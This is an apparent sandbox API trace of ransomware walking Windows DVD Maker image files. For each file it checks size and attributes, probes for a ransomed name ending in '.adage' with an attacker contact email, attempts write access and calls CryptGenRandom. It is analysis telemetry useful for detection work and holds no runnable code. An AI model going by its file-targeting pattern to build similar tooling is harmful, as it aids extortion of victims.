[0058.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.097] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=10248) returned 1 [0058.097] CloseHandle (hObject=0x180) returned 1 [0058.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png")) returned 0x20 [0058.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.098] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.098] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.098] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2374) returned 1 [0058.098] CloseHandle (hObject=0x180) returned 1 [0058.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png")) returned 0x20 [0058.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.098] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.098] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.098] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.098] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=27581) returned 1 [0058.099] CloseHandle (hObject=0x180) returned 1 [0058.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png")) returned 0x20 [0058.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.099] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.099] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2899) returned 1 [0058.099] CloseHandle (hObject=0x180) returned 1 [0058.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png")) returned 0x20 [0058.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.100] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.100] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=10888) returned 1 [0058.100] CloseHandle (hObject=0x180) returned 1 [0058.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png")) returned 0x20 [0058.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.100] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.101] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=108525) returned 1 [0058.101] CloseHandle (hObject=0x180) returned 1 [0058.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png")) returned 0x20 [0058.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.102] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.102] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=20346) returned 1 [0058.102] CloseHandle (hObject=0x180) returned 1 [0058.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png")) returned 0x20 [0058.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.102] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.103] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=233668) returned 1 [0058.103] CloseHandle (hObject=0x180) returned 1 [0058.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png")) returned 0x20 [0058.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.103] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.103] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4968) returned 1 [0058.103] CloseHandle (hObject=0x180) returned 1 [0058.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png")) returned 0x20 [0058.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.104] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.104] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3143) returned 1 [0058.105] CloseHandle (hObject=0x180) returned 1 [0058.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png")) returned 0x20 [0058.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.105] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.106] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4842) returned 1 [0058.106] CloseHandle (hObject=0x180) returned 1 [0058.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png")) returned 0x20 [0058.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.106] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.106] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5088) returned 1 [0058.106] CloseHandle (hObject=0x180) returned 1 [0058.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png")) returned 0x20 [0058.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.107] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.107] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3130) returned 1 [0058.107] CloseHandle (hObject=0x180) returned 1 [0058.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0058.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.108] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.108] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5025) returned 1 [0058.108] CloseHandle (hObject=0x180) returned 1 [0058.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png")) returned 0x20 [0058.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.108] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.109] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3118) returned 1 [0058.109] CloseHandle (hObject=0x180) returned 1 [0058.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png")) returned 0x20 [0058.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.109] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.110] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4955) returned 1 [0058.110] CloseHandle (hObject=0x180) returned 1 [0058.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png")) returned 0x20 [0058.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.110] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.110] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3081) returned 1 [0058.110] 